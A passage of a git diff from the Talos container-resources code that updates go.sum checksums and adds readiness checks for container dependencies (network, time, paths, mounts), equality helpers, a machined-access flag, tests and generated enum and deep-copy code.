h1:tfq32ie2Jv2UxXFdLJdh3jXuOzWiL1fo0bu/FbuKpbc= -go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg= +go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw= +go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg= go.yaml.in/yaml/v4 v4.0.0-rc.6 h1:1h7H1ohdUh93/FyE4YaDa1Zh64K6VVbjF4K6WUxMtH4= go.yaml.in/yaml/v4 v4.0.0-rc.6/go.mod h1:aZqd9kCMsGL7AuUv/m/PvWLdg5sjJsZ4oHDEnfPPfY0= golang.org/x/crypto v0.55.0 h1:+KWHjbgOaAQ66dh/YlkZKHlz9ZUlq61AFirAR9ntP8M= @@ -171,13 +165,13 @@ google.golang.org/genproto/googleapis/api v0.0.0-20260810153831-ec0a7760b754 h1: google.golang.org/genproto/googleapis/api v0.0.0-20260810153831-ec0a7760b754/go.mod h1:q/3oV3jAi5vwelxsVAprMBC8BcM2zmNe+IjRGd+9/ks= google.golang.org/genproto/googleapis/rpc v0.0.0-20260810153831-ec0a7760b754 h1:k5CJw9e5ONCcA/u0webKt092npXuY+KeGh3Q8NAVf0g= google.golang.org/genproto/googleapis/rpc v0.0.0-20260810153831-ec0a7760b754/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8= -google.golang.org/grpc v1.83.0 h1:JeNZEKJFbQxArAMl+hiytHauacDNqJUllNfmIMmpqnQ= -google.golang.org/grpc v1.83.0/go.mod h1:kDyl6SKsiHKt0uylY5gtn5cEjkrIOhQOGDgIc4JGwzQ= +google.golang.org/grpc v1.83.2 h1:EManeRomTObA0BU7I8vXgg/78uE5MJ9M8B39EX2WscU= +google.golang.org/grpc v1.83.2/go.mod h1:YPI1hK3kDked6iHvgX3tR0y+nX/qpMFKhPgFsokw1S8= google.golang.org/protobuf v1.36.12 h1:pJOKDDOyeXErUroCihFAd5LQuwXBSpVnKGrj5o/fwxc= google.golang.org/protobuf v1.36.12/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= -gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= +gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY= +gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= diff --git a/pkg/machinery/meta/constants.go b/pkg/machinery/meta/constants.go index 037af91c920..800219b5088 100644 --- a/pkg/machinery/meta/constants.go +++ b/pkg/machinery/meta/constants.go @@ -30,3 +30,15 @@ const ( // DiskImageBootloader stores the bootloader used for the disk image, this key is wiped on first boot. DiskImageBootloader ) + +// IsAPIWriteable returns true if the given key is writeable via the API. +func IsAPIWriteable(key uint8) bool { + switch key { + case 0: + return false // used internally as empty slot marker, not settable + case Upgrade, StagedUpgradeImageRef, StagedUpgradeInstallOptions, StateEncryptionConfig, DiskImageBootloader: + return false + default: + return true + } +} diff --git a/pkg/machinery/meta/meta.go b/pkg/machinery/meta/meta.go index 0a802bb8140..9532e0d9d50 100644 --- a/pkg/machinery/meta/meta.go +++ b/pkg/machinery/meta/meta.go @@ -39,6 +39,10 @@ func (v *Value) Parse(s string) error { return fmt.Errorf("invalid key %q", k) } + if key == 0 { // reserved value, used as a sentinel for "no key" + return fmt.Errorf("invalid key %q: key cannot be 0", k) + } + v.Key = uint8(key) v.Value = vv diff --git a/pkg/machinery/resources/containers/container_spec.go b/pkg/machinery/resources/containers/container_spec.go index 1063a4fe1a4..89e609d1eaa 100644 --- a/pkg/machinery/resources/containers/container_spec.go +++ b/pkg/machinery/resources/containers/container_spec.go @@ -5,14 +5,31 @@ package containers import ( + "context" + "fmt" + "os" + "slices" + "time" + + "github.com/cosi-project/runtime/pkg/controller" "github.com/cosi-project/runtime/pkg/resource" "github.com/cosi-project/runtime/pkg/resource/meta" "github.com/cosi-project/runtime/pkg/resource/protobuf" "github.com/cosi-project/runtime/pkg/resource/typed" + "github.com/cosi-project/runtime/pkg/safe" + "github.com/cosi-project/runtime/pkg/state" + "github.com/siderolabs/gen/optional" "github.com/siderolabs/talos/pkg/machinery/proto" + "github.com/siderolabs/talos/pkg/machinery/resources/network" + timeres "github.com/siderolabs/talos/pkg/machinery/resources/time" ) +// pathPollInterval is how often to re-check dependsOn.paths entries. +// +// Paths are the one dependency with no COSI equivalent, so they have to be polled. +const pathPollInterval = time.Second + // ContainerSpecType is type of ContainerSpec resource. const ContainerSpecType = resource.Type("ContainerSpecs.containers.talos.dev") @@ -43,6 +60,114 @@ type ContainerSpecSpec struct { DependsOn ContainerDependsOnSpec `yaml:"dependsOn,omitempty" protobuf:"11"` } +// Ready reports the container's unmet dependencies (image, mounts, dependsOn gates), +// and how soon to recheck them. +// +// containerID is the owning ContainerSpec resource's ID: the spec itself doesn't carry it. +// +// dependsOn.containers is not checked here: it would need the aggregated ContainerStatus, which +// only arrives with ContainerStatusController (github.com/siderolabs/talos/issues/14104). +func (containerSpec ContainerSpecSpec) Ready(ctx context.Context, r controller.Reader, containerID string) ([]string, optional.Optional[time.Duration], error) { + var waitingFor []string + + imageDigest, err := GetImageDigest(ctx, r, containerID, containerSpec.Image.Ref) + if err != nil { + return nil, optional.None[time.Duration](), err + } + + if imageDigest == "" { + waitingFor = append(waitingFor, "image") + } + + resolvedMounts, err := containerSpec.GetResolvedMounts(ctx, r, containerID) + if err != nil { + return nil, optional.None[time.Duration](), err + } + + if !MountsResolvedMatchDeclared(resolvedMounts, containerSpec.Mounts) { + waitingFor = append(waitingFor, "mounts") + } + + unmet, wakeUpAfter, err := containerSpec.DependsOn.Ready(ctx, r) + if err != nil { + return nil, optional.None[time.Duration](), err + } + + waitingFor = append(waitingFor, unmet...) + + return waitingFor, wakeUpAfter, nil +} + +// GetResolvedMounts returns the mounts MountController has most recently resolved for this +// container, or nil if it has not written a status yet, or has not marked one ready. +// +// This does not check the result against the spec's own declared mounts: the status is written by +// another controller, so a spec edit is visible here before the resolution catches up, and a caller +// that cares whether the result is stale must check it separately, e.g. with +// MountsResolvedMatchDeclared. +// +// containerID is the owning ContainerSpec resource's ID: the spec itself doesn't carry it. +func (containerSpec ContainerSpecSpec) GetResolvedMounts( + ctx context.Context, + r controller.Reader, + containerID string, +) ([]ResolvedMountSpec, error) { + status, err := safe.ReaderGetByID[*ContainerMountStatus](ctx, r, containerID) + if err != nil { + if state.IsNotFoundError(err) { + return nil, nil + } + + return nil, fmt.Errorf("failed to get mount status %q: %w", containerID, err) + } + + if !status.TypedSpec().Ready { + return nil, nil + } + + return status.TypedSpec().Mounts, nil +} + +// InstanceProcessEqual compares the parts of the spec that describe the process itself. +func (containerSpec ContainerSpecSpec) InstanceProcessEqual(instanceSpec ContainerInstanceSpecSpec) bool { + return slices.Equal(containerSpec.Entrypoint, instanceSpec.Entrypoint) && + slices.Equal(containerSpec.Args, instanceSpec.Args) && + containerSpec.WorkingDir == instanceSpec.WorkingDir && + containerSpec.RunAs.Equal(instanceSpec.RunAs) && + slices.Equal(containerSpec.Environment, instanceSpec.Environment) +} + +// MountsResolvedMatchDeclared reports whether resolved describes the same mounts as declared. +// +// nolint: gocyclo +func MountsResolvedMatchDeclared(resolved []ResolvedMountSpec, declared []ContainerMountSpec) bool { + if len(resolved) != len(declared) { + return false + } + + for i, mount := range declared { + r := resolved[i] + + if r.Kind != mount.Kind || r.Destination != mount.Destination || r.Size != mount.Size { + return false + } + + if !slices.Equal(r.Options, mount.Options) { + return false + } + + if mount.Kind == MountKindHostPath && r.Source != mount.Source { + return false + } + + if mount.Kind == MountKindUserVolume && r.VolumeID != mount.VolumeID { + return false + } + } + + return true +} + // ContainerMountSpec is a resolved mount. // // Exactly one of VolumeID, Tmpfs or HostPath describes the source; Kind says which. @@ -59,7 +184,7 @@ type ContainerMountSpec struct { Destination string `yaml:"destination" protobuf:"4"` // Size of a tmpfs mount, in bytes; zero means the kernel default. Size uint64 `yaml:"size,omitempty" protobuf:"5"` - // Options with the read-only default already applied. + // Options with the writable default already applied. Options []string `yaml:"options,omitempty" protobuf:"6"` } @@ -80,6 +205,18 @@ type ContainerSecuritySpec struct { CapabilitiesAdd []string `yaml:"capabilitiesAdd,omitempty" protobuf:"2"` CapabilitiesDrop []string `yaml:"capabilitiesDrop,omitempty" protobuf:"3"` + + // MachinedAccess publishes the container's PID as a ServicePID resource and mounts the + // machined API socket into the container. + MachinedAccess bool `yaml:"machinedAccess,omitempty" protobuf:"4"` +} + +// Equal compares two security specs field by field, as they carry slices. +func (a ContainerSecuritySpec) Equal(b ContainerSecuritySpec) bool { + return a.Privileged == b.Privileged && + slices.Equal(a.CapabilitiesAdd, b.CapabilitiesAdd) && + slices.Equal(a.CapabilitiesDrop, b.CapabilitiesDrop) && + a.MachinedAccess == b.MachinedAccess } // ContainerNetworkSpec is the resolved network configuration. @@ -110,6 +247,124 @@ type ContainerDependsOnSpec struct { Containers []string `yaml:"containers,omitempty" protobuf:"4"` } +// Ready reports the declared dependsOn gates that are not yet satisfied, and how soon the caller +// should recheck gates Ready cannot itself observe an event for (currently only Paths). +// +// Returns: unsatisfied dependencies, duration to wait before rechecking, error. +func (dependsOn ContainerDependsOnSpec) Ready( + ctx context.Context, + r controller.Reader, +) ([]string, optional.Optional[time.Duration], error) { + var waitingFor []string + + // dependsOn.networks + unmetNetworks, err := dependsOn.NetworksReady(ctx, r) + if err != nil { + return nil, optional.None[time.Duration](), fmt.Errorf("failed to check network ready: %w", err) + } + + waitingFor = append(waitingFor, unmetNetworks...) + + // dependsOn.time + timeReady, err := dependsOn.TimeReady(ctx, r) + if err != nil { + return nil, optional.None[time.Duration](), fmt.Errorf("failed to check time ready: %w", err) + } + + if !timeReady { + waitingFor = append(waitingFor, "time") + } + + // dependsOn.paths + for _, path := range dependsOn.Paths { + if _, err := os.Stat(path); err != nil { + waitingFor = append(waitingFor, "path: "+path) + } + } + + var wakeUpAfter optional.Optional[time.Duration] + if len(dependsOn.Paths) > 0 { + // Paths have no event to wake us, so poll while any are declared. + wakeUpAfter = optional.Some(pathPollInterval) + } + + return waitingFor, wakeUpAfter, nil +} + +// TimeReady reports whether the dependsOn.time gate is satisfied. +// +// A status resource that doesn't exist yet counts as not satisfied. If time sync is disabled on +// the node, this gate can never be satisfied, and a container declaring it stays blocked: the +// dependency was declared explicitly, so an unsynced clock should never be silently accepted. +func (dependsOn ContainerDependsOnSpec) TimeReady(ctx context.Context, r controller.Reader) (bool, error) { + if !dependsOn.Time { + // Doesn't depend on time sync, so it's satisfied regardless of the time status. + return true, nil + } + + status, err := safe.ReaderGetByID[*timeres.Status](ctx, r, timeres.StatusID) + if err != nil { + if state.IsNotFoundError(err) { + return false, nil + } + + return false, fmt.Errorf("failed to get time status: %w", err) + } + + return status.TypedSpec().Synced, nil +} + +// NetworksReady reports the declared dependsOn.networks conditions that are not yet satisfied. +// +// A status resource that doesn't exist yet counts every declared condition as not satisfied. +func (dependsOn ContainerDependsOnSpec) NetworksReady(ctx context.Context, r controller.Reader) ([]string, error) { + if dependsOn.Networks == nil { + return nil, nil + } + + status, err := safe.ReaderGetByID[*network.Status](ctx, r, network.StatusID) + if err != nil { + if !state.IsNotFoundError(err) { + return nil, fmt.Errorf("failed to get network status: %w", err) + } + + status = nil + } + + var waitingFor []string + + for _, condition := range dependsOn.Networks { + if !dependsOn.NetworkConditionMet(status, condition) { + waitingFor = append(waitingFor, "network: "+condition) + } + } + + return waitingFor, nil +} + +// NetworkConditionMet reports whether one declared dependsOn.networks condition is satisfied. +func (ContainerDependsOnSpec) NetworkConditionMet(status *network.Status, condition string) bool { + if status == nil { + return false + } + + spec := status.TypedSpec() + + switch condition { + case "addresses": + return network.AddressReady(spec) + case "connectivity": + return network.ConnectivityReady(spec) + case "hostname": + return network.HostnameReady(spec) + case "etcfiles": + return network.EtcFilesReady(spec) + default: + // Validation rejects unknown conditions, so this is unreachable from configuration. + return false + } +} + // ContainerRunAsSpec is the resolved uid/gid override. // // Nil means use the image's own USER for that half. @@ -120,6 +375,11 @@ type ContainerRunAsSpec struct { GID *int32 `yaml:"gid,omitempty" protobuf:"2"` } +// Equal compares two RunAs specs, treating nil UID/GID halves as equal only to each other. +func (a ContainerRunAsSpec) Equal(b ContainerRunAsSpec) bool { + return Int32PtrEqual(a.UID, b.UID) && Int32PtrEqual(a.GID, b.GID) +} + // ContainerImageSpec is a resolved container image reference. // //gotagsrewrite:gen diff --git a/pkg/machinery/resources/containers/container_spec_test.go b/pkg/machinery/resources/containers/container_spec_test.go new file mode 100644 index 00000000000..dbb2bf3314d --- /dev/null +++ b/pkg/machinery/resources/containers/container_spec_test.go @@ -0,0 +1,291 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package containers_test + +import ( + "os" + "path/filepath" + "testing" + + "github.com/cosi-project/runtime/pkg/state" + "github.com/cosi-project/runtime/pkg/state/impl/inmem" + "github.com/cosi-project/runtime/pkg/state/impl/namespaced" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/siderolabs/talos/pkg/machinery/resources/containers" + "github.com/siderolabs/talos/pkg/machinery/resources/network" + timeres "github.com/siderolabs/talos/pkg/machinery/resources/time" +) + +func TestTimeReady(t *testing.T) { + t.Parallel() + + ctx := t.Context() + + tests := []struct { + name string + time bool + setup func(*timeres.Status) + want bool + }{ + { + name: "time not declared", + time: false, + want: true, + }, + { + name: "status missing", + time: true, + want: false, + }, + { + name: "synced true", + time: true, + setup: func(status *timeres.Status) { + status.TypedSpec().Synced = true + }, + want: true, + }, + { + name: "sync disabled blocks forever", + time: true, + setup: func(status *timeres.Status) { + status.TypedSpec().SyncDisabled = true + }, + want: false, + }, + { + name: "synced false sync disabled false", + time: true, + setup: func(status *timeres.Status) { + // Both false by default + }, + want: false, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + st := state.WrapCore(namespaced.NewState(inmem.Build)) + + if tt.setup != nil { + status := timeres.NewStatus() + tt.setup(status) + require.NoError(t, st.Create(ctx, status)) + } + + got, err := containers.ContainerDependsOnSpec{Time: tt.time}.TimeReady(ctx, st) + require.NoError(t, err) + assert.Equal(t, tt.want, got) + }) + } +} + +func TestNetworkConditionMet(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + setup func(*network.Status) + condition string + want bool + }{ + { + name: "nil status", + setup: nil, + condition: "addresses", + want: false, + }, + { + name: "addresses ready", + setup: func(status *network.Status) { + status.TypedSpec().AddressReady = true + }, + condition: "addresses", + want: true, + }, + { + name: "addresses not ready", + setup: func(status *network.Status) { + status.TypedSpec().AddressReady = false + }, + condition: "addresses", + want: false, + }, + { + name: "connectivity ready", + setup: func(status *network.Status) { + status.TypedSpec().ConnectivityReady = true + }, + condition: "connectivity", + want: true, + }, + { + name: "connectivity not ready", + setup: func(status *network.Status) { + status.TypedSpec().ConnectivityReady = false + }, + condition: "connectivity", + want: false, + }, + { + name: "hostname ready", + setup: func(status *network.Status) { + status.TypedSpec().HostnameReady = true + }, + condition: "hostname", + want: true, + }, + { + name: "hostname not ready", + setup: func(status *network.Status) { + status.TypedSpec().HostnameReady = false + }, + condition: "hostname", + want: false, + }, + { + name: "etcfiles ready", + setup: func(status *network.Status) { + status.TypedSpec().EtcFilesReady = true + }, + condition: "etcfiles", + want: true, + }, + { + name: "etcfiles not ready", + setup: func(status *network.Status) { + status.TypedSpec().EtcFilesReady = false + }, + condition: "etcfiles", + want: false, + }, + { + name: "unknown condition", + setup: func(status *network.Status) { + status.TypedSpec().AddressReady = true + }, + condition: "unknown", + want: false, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + var status *network.Status + if tt.setup != nil { + status = network.NewStatus(network.NamespaceName, network.StatusID) + tt.setup(status) + } + + got := containers.ContainerDependsOnSpec{}.NetworkConditionMet(status, tt.condition) + assert.Equal(t, tt.want, got) + }) + } +} + +func TestReady(t *testing.T) { + t.Parallel() + + ctx := t.Context() + + st := state.WrapCore(namespaced.NewState(inmem.Build)) + + networkStatus := network.NewStatus(network.NamespaceName, network.StatusID) + networkStatus.TypedSpec().AddressReady = true + require.NoError(t, st.Create(ctx, networkStatus)) + + timeStatus := timeres.NewStatus() + timeStatus.TypedSpec().Synced = true + require.NoError(t, st.Create(ctx, timeStatus)) + + existingPath := filepath.Join(t.TempDir(), "exists") + require.NoError(t, os.WriteFile(existingPath, nil, 0o644)) + + missingPath := filepath.Join(t.TempDir(), "missing") + + for _, tt := range []struct { + name string + dependsOn containers.ContainerDependsOnSpec + wantWaitingFor []string + wantWakeUpAfter bool + }{ + { + name: "no gates declared", + dependsOn: containers.ContainerDependsOnSpec{}, + }, + { + name: "network condition met", + dependsOn: containers.ContainerDependsOnSpec{ + Networks: []string{"addresses"}, + }, + }, + { + name: "network condition unmet", + dependsOn: containers.ContainerDependsOnSpec{ + Networks: []string{"connectivity"}, + }, + wantWaitingFor: []string{"network: connectivity"}, + }, + { + name: "time condition met", + dependsOn: containers.ContainerDependsOnSpec{ + Time: true, + }, + }, + { + name: "path exists", + dependsOn: containers.ContainerDependsOnSpec{ + Paths: []string{existingPath}, + }, + wantWakeUpAfter: true, + }, + { + name: "path missing", + dependsOn: containers.ContainerDependsOnSpec{ + Paths: []string{missingPath}, + }, + wantWaitingFor: []string{"path: " + missingPath}, + wantWakeUpAfter: true, + }, + } { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + waitingFor, wakeUpAfter, err := tt.dependsOn.Ready(ctx, st) + require.NoError(t, err) + assert.Equal(t, tt.wantWaitingFor, waitingFor) + + _, wakeUpAfterSet := wakeUpAfter.Get() + assert.Equal(t, tt.wantWakeUpAfter, wakeUpAfterSet) + }) + } +} + +func TestReadyMissingStatuses(t *testing.T) { + t.Parallel() + + ctx := t.Context() + + // No network or time Status resources exist in this state, exercising the not-found path. + st := state.WrapCore(namespaced.NewState(inmem.Build)) + + dependsOn := containers.ContainerDependsOnSpec{ + Networks: []string{"addresses"}, + Time: true, + } + + waitingFor, wakeUpAfter, err := dependsOn.Ready(ctx, st) + require.NoError(t, err) + assert.Equal(t, []string{"network: addresses", "time"}, waitingFor) + + _, wakeUpAfterSet := wakeUpAfter.Get() + assert.False(t, wakeUpAfterSet) +} diff --git a/pkg/machinery/resources/containers/containerimagephase_enumer.go b/pkg/machinery/resources/containers/containerimagephase_enumer.go index e3482f57956..fdce264c708 100644 --- a/pkg/machinery/resources/containers/containerimagephase_enumer.go +++ b/pkg/machinery/resources/containers/containerimagephase_enumer.go @@ -1,4 +1,4 @@ -// Code generated by "enumer -type=ContainerImagePhase -linecomment -text"; DO NOT EDIT. +// Code generated by "enumer -type=ContainerImagePhase,ContainerInstancePhase -linecomment -text"; DO NOT EDIT. package containers @@ -96,3 +96,93 @@ func (i *ContainerImagePhase) UnmarshalText(text []byte) error { *i, err = ContainerImagePhaseString(string(text)) return err } + +const _ContainerInstancePhaseName = "createdrunningterminatedfailed" + +var _ContainerInstancePhaseIndex = [...]uint8{0, 7, 14, 24, 30} + +const _ContainerInstancePhaseLowerName = "createdrunningterminatedfailed" + +func (i ContainerInstancePhase) String() string { + if i < 0 || i >= ContainerInstancePhase(len(_ContainerInstancePhaseIndex)-1) { + return fmt.Sprintf("ContainerInstancePhase(%d)", i) + } + return _ContainerInstancePhaseName[_ContainerInstancePhaseIndex[i]:_ContainerInstancePhaseIndex[i+1]] +} + +// An "invalid array index" compiler error signifies that the constant values have changed. +// Re-run the stringer command to generate them again. +func _ContainerInstancePhaseNoOp() { + var x [1]struct{} + _ = x[ContainerInstancePhaseCreated-(0)] + _ = x[ContainerInstancePhaseRunning-(1)] + _ = x[ContainerInstancePhaseTerminated-(2)] + _ = x[ContainerInstancePhaseFailed-(3)] +} + +var _ContainerInstancePhaseValues = []ContainerInstancePhase{ContainerInstancePhaseCreated, ContainerInstancePhaseRunning, ContainerInstancePhaseTerminated, ContainerInstancePhaseFailed} + +var _ContainerInstancePhaseNameToValueMap = map[string]ContainerInstancePhase{ + _ContainerInstancePhaseName[0:7]: ContainerInstancePhaseCreated, + _ContainerInstancePhaseLowerName[0:7]: ContainerInstancePhaseCreated, + _ContainerInstancePhaseName[7:14]: ContainerInstancePhaseRunning, + _ContainerInstancePhaseLowerName[7:14]: ContainerInstancePhaseRunning, + _ContainerInstancePhaseName[14:24]: ContainerInstancePhaseTerminated, + _ContainerInstancePhaseLowerName[14:24]: ContainerInstancePhaseTerminated, + _ContainerInstancePhaseName[24:30]: ContainerInstancePhaseFailed, + _ContainerInstancePhaseLowerName[24:30]: ContainerInstancePhaseFailed, +} + +var _ContainerInstancePhaseNames = []string{ + _ContainerInstancePhaseName[0:7], + _ContainerInstancePhaseName[7:14], + _ContainerInstancePhaseName[14:24], + _ContainerInstancePhaseName[24:30], +} + +// ContainerInstancePhaseString retrieves an enum value from the enum constants string name. +// Throws an error if the param is not part of the enum. +func ContainerInstancePhaseString(s string) (ContainerInstancePhase, error) { + if val, ok := _ContainerInstancePhaseNameToValueMap[s]; ok { + return val, nil + } + + if val, ok := _ContainerInstancePhaseNameToValueMap[strings.ToLower(s)]; ok { + return val, nil + } + return 0, fmt.Errorf("%s does not belong to ContainerInstancePhase values", s) +} + +// ContainerInstancePhaseValues returns all values of the enum +func ContainerInstancePhaseValues() []ContainerInstancePhase { + return _ContainerInstancePhaseValues +} + +// ContainerInstancePhaseStrings returns a slice of all String values of the enum +func ContainerInstancePhaseStrings() []string { + strs := make([]string, len(_ContainerInstancePhaseNames)) + copy(strs, _ContainerInstancePhaseNames) + return strs +} + +// IsAContainerInstancePhase returns "true" if the value is listed in the enum definition. "false" otherwise +func (i ContainerInstancePhase) IsAContainerInstancePhase() bool { + for _, v := range _ContainerInstancePhaseValues { + if i == v { + return true + } + } + return false +} + +// MarshalText implements the encoding.TextMarshaler interface for ContainerInstancePhase +func (i ContainerInstancePhase) MarshalText() ([]byte, error) { + return []byte(i.String()), nil +} + +// UnmarshalText implements the encoding.TextUnmarshaler interface for ContainerInstancePhase +func (i *ContainerInstancePhase) UnmarshalText(text []byte) error { + var err error + *i, err = ContainerInstancePhaseString(string(text)) + return err +} diff --git a/pkg/machinery/resources/containers/containers.go b/pkg/machinery/resources/containers/containers.go index b79a2aa6b15..3336e4b66a1 100644 --- a/pkg/machinery/resources/containers/containers.go +++ b/pkg/machinery/resources/containers/containers.go @@ -3,22 +3,15 @@ // file, You can obtain one at http://mozilla.org/MPL/2.0/. // Package containers provides resources for containers declared via ContainerConfig. -// -// These containers are run directly by Talos, without Kubernetes and without registering a Talos -// service. The full resource chain, per RFD 41, is: -// -// ContainerConfig (machine config) -> ContainerSpec -> ContainerInstanceSpec -> ContainerInstanceStatus -// -// with ContainerImageStatus and ContainerMountStatus gating the step from spec to instance, and -// ContainerStatus as the aggregated user-facing surface. This package currently carries -// ContainerSpec and ContainerImageStatus; the remaining resources arrive in follow-up controllers. package containers +// These containers are run directly by Talos, without Kubernetes and without registering a Talos service. + import "github.com/cosi-project/runtime/pkg/resource" -//go:generate go tool github.com/siderolabs/deep-copy -type ContainerSpecSpec -type ContainerImageStatusSpec -header-file ../../../../hack/boilerplate.txt -o deep_copy.generated.go . +//go:generate go tool github.com/siderolabs/deep-copy -type ContainerSpecSpec -type ContainerImageStatusSpec -type ContainerMountStatusSpec -type ContainerInstanceSpecSpec -type ContainerInstanceStatusSpec -type ContainerLifecycleSpec -header-file ../../../../hack/boilerplate.txt -o deep_copy.generated.go . -//go:generate go tool github.com/dmarkham/enumer -type=ContainerImagePhase -linecomment -text +//go:generate go tool github.com/dmarkham/enumer -type=ContainerImagePhase,ContainerInstancePhase -linecomment -text // NamespaceName contains resources for Talos-managed containers. const NamespaceName resource.Namespace = "containers" diff --git a/pkg/machinery/resources/containers/containers_test.go b/pkg/machinery/resources/containers/containers_test.go index 272c78ec314..e99fbddfa04 100644 --- a/pkg/machinery/resources/containers/containers_test.go +++ b/pkg/machinery/resources/containers/containers_test.go @@ -6,6 +6,7 @@ package containers_test import ( "testing" + "time" "github.com/cosi-project/runtime/pkg/resource" "github.com/cosi-project/runtime/pkg/resource/meta" @@ -29,6 +30,10 @@ func TestRegisterResource(t *testing.T) { for _, res := range []meta.ResourceWithRD{ &containers.ContainerSpec{}, &containers.ContainerImageStatus{}, + &containers.ContainerInstanceSpec{}, + &containers.ContainerInstanceStatus{}, + &containers.ContainerMountStatus{}, + &containers.ContainerLifecycle{}, } { assert.NoError(t, resourceRegistry.Register(ctx, res)) } @@ -98,6 +103,104 @@ func TestImageStatusProtobufRoundTrip(t *testing.T) { assertRoundTrip(t, status) } +// TestInstanceProtobufRoundTrip guards the protobuf tags on ContainerInstanceSpecSpec. +func TestInstanceProtobufRoundTrip(t *testing.T) { + t.Parallel() + + spec := containers.NewContainerInstanceSpec(containers.NamespaceName, containers.InstanceID("nginx", 3)) + *spec.TypedSpec() = containers.ContainerInstanceSpecSpec{ + ContainerID: "nginx", + Generation: 3, + Image: "docker.io/library/nginx@sha256:abc123", + Entrypoint: []string{"/entrypoint.sh"}, + Args: []string{"nginx", "-g", "daemon off;"}, + WorkingDir: "/srv", + RunAs: containers.ContainerRunAsSpec{ + UID: new(int32(65534)), + GID: new(int32(65534)), + }, + Environment: []string{"NGINX_PORT=8080"}, + Mounts: []containers.ResolvedMountSpec{ + { + Kind: containers.MountKindHostPath, + Source: "/dev", + Destination: "/dev", + Options: []string{"ro"}, + }, + { + Kind: containers.MountKindTmpfs, + Destination: "/tmp", + Size: 64 << 20, + }, + }, + Security: containers.ContainerSecuritySpec{ + Privileged: true, + CapabilitiesAdd: []string{"NET_ADMIN"}, + CapabilitiesDrop: []string{"ALL"}, + }, + Network: containers.ContainerNetworkSpec{HostNetwork: true}, + Resources: containers.ContainerResourcesSpec{MemoryLimit: 1 << 29, CPULimit: 1500}, + } + + assertRoundTrip(t, spec) +} + +// TestInstanceStatusProtobufRoundTrip guards the protobuf tags on ContainerInstanceStatusSpec, +// including that the phase enum and timestamps survive the trip as more than their zero values. +func TestInstanceStatusProtobufRoundTrip(t *testing.T) { + t.Parallel() + + status := containers.NewContainerInstanceStatus(containers.NamespaceName, containers.InstanceID("nginx", 3)) + *status.TypedSpec() = containers.ContainerInstanceStatusSpec{ + ContainerID: "nginx", + Generation: 3, + Phase: containers.ContainerInstancePhaseTerminated, + PID: 1234, + ExitCode: 137, + Error: "signal: killed", + StartedAt: time.Unix(1700000000, 0).UTC(), + FinishedAt: time.Unix(1700000123, 0).UTC(), + } + + assertRoundTrip(t, status) +} + +// TestMountStatusProtobufRoundTrip guards the protobuf tags on ContainerMountStatusSpec. +func TestMountStatusProtobufRoundTrip(t *testing.T) { + t.Parallel() + + status := containers.NewContainerMountStatus(containers.NamespaceName, "nginx") + *status.TypedSpec() = containers.ContainerMountStatusSpec{ + Ready: true, + Mounts: []containers.ResolvedMountSpec{ + { + Kind: containers.MountKindUserVolume, + Source: "/var/mnt/web-content", + Destination: "/usr/share/nginx/html", + Options: []string{"ro"}, + VolumeID: "u-web-content", + }, + { + Kind: containers.MountKindTmpfs, + Destination: "/tmp", + Size: 64 << 20, + }, + }, + Error: "volume \"u-other\" is not mounted", + } + + assertRoundTrip(t, status) +} + +// TestLifecycleProtobufRoundTrip guards the (empty) protobuf tags on ContainerLifecycleSpec. +func TestLifecycleProtobufRoundTrip(t *testing.T) { + t.Parallel() + + lifecycle := containers.NewContainerLifecycle(containers.NamespaceName, containers.ContainerLifecycleID) + + assertRoundTrip(t, lifecycle) +} + func assertRoundTrip[T resource.Resource](t *testing.T, res T) { t.Helper() diff --git a/pkg/machinery/resources/containers/deep_copy.generated.go b/pkg/machinery/resources/containers/deep_copy.generated.go index 78869f35b38..32e0406555b 100644 --- a/pkg/machinery/resources/containers/deep_copy.generated.go +++ b/pkg/machinery/resources/containers/deep_copy.generated.go @@ -2,7 +2,7 @@ // License, v. 2.0. If a copy of the MPL was not distributed with this // file, You can obtain one at http://mozilla.org/MPL/2.0/. -// Code generated by "deep-copy -type ContainerSpecSpec -type ContainerImageStatusSpec -header-file ../../../../hack/boilerplate.txt -o deep_copy.generated.go ."; DO NOT EDIT. +// Code generated by "deep-copy -type ContainerSpecSpec -type ContainerImageStatusSpec -type ContainerMountStatusSpec -type ContainerInstanceSpecSpec -type ContainerInstanceStatusSpec -type ContainerLifecycleSpec -header-file ../../../../hack/boilerplate.txt -o deep_copy.generated.go ."; DO NOT EDIT. 